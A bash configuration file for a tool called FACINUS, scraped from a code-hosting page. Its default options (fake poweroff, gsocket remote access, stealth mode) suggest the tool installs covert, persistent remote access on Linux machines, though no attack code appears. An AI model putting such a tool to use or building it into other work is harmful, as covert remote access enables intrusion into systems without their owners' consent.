49 lines
1.3 KiB
Bash
Executable File
49 lines
1.3 KiB
Bash
Executable File
#!/bin/bash
|
|
# Default configuration options
|
|
|
|
# Server configuration
|
|
SERVER_IP=$(ip -4 addr show | grep -oP '(?<=inet\s)\d+(\.\d+){3}' | grep -v "127.0.0.1" | head -n 1)
|
|
SERVER_PORT=80
|
|
SERVER_ROOT="/srv/http/deployment"
|
|
SECRET_TOKEN=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 32)
|
|
ADMIN_PASSWORD=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 12)
|
|
|
|
# Installation options
|
|
NO_ROOT=false
|
|
NO_SERVICES=false
|
|
INSTALL_WOL=true
|
|
INSTALL_FAKE_POWEROFF=true
|
|
INSTALL_GSOCKET=true
|
|
STEALTH_MODE=true
|
|
DARK_THEME=true
|
|
VERBOSE=false
|
|
|
|
# List of supported distros
|
|
ARCH_DISTROS=("arch" "manjaro" "endeavouros" "artix")
|
|
DEB_DISTROS=("ubuntu" "debian" "linuxmint" "pop" "kali" "parrot" "elementary")
|
|
RPM_DISTROS=("fedora" "centos" "rhel" "rocky" "alma")
|
|
|
|
# Save current configuration
|
|
save_config() {
|
|
local config_file="$SCRIPT_DIR/.facinus.conf"
|
|
cat > "$config_file" << EOF
|
|
# FACINUS configuration - Generated on $(date)
|
|
SERVER_IP=$SERVER_IP
|
|
SERVER_PORT=$SERVER_PORT
|
|
SERVER_ROOT=$SERVER_ROOT
|
|
SECRET_TOKEN=$SECRET_TOKEN
|
|
ADMIN_PASSWORD=$ADMIN_PASSWORD
|
|
NO_ROOT=$NO_ROOT
|
|
NO_SERVICES=$NO_SERVICES
|
|
INSTALL_WOL=$INSTALL_WOL
|
|
INSTALL_FAKE_POWEROFF=$INSTALL_FAKE_POWEROFF
|
|
INSTALL_GSOCKET=$INSTALL_GSOCKET
|
|
STEALTH_MODE=$STEALTH_MODE
|
|
DARK_THEME=$DARK_THEME
|
|
DISTRO=$DISTRO
|
|
ARCH=$ARCH
|
|
EOF
|
|
chmod 600 "$config_file"
|
|
echo "Configuration saved to $config_file"
|
|
}
|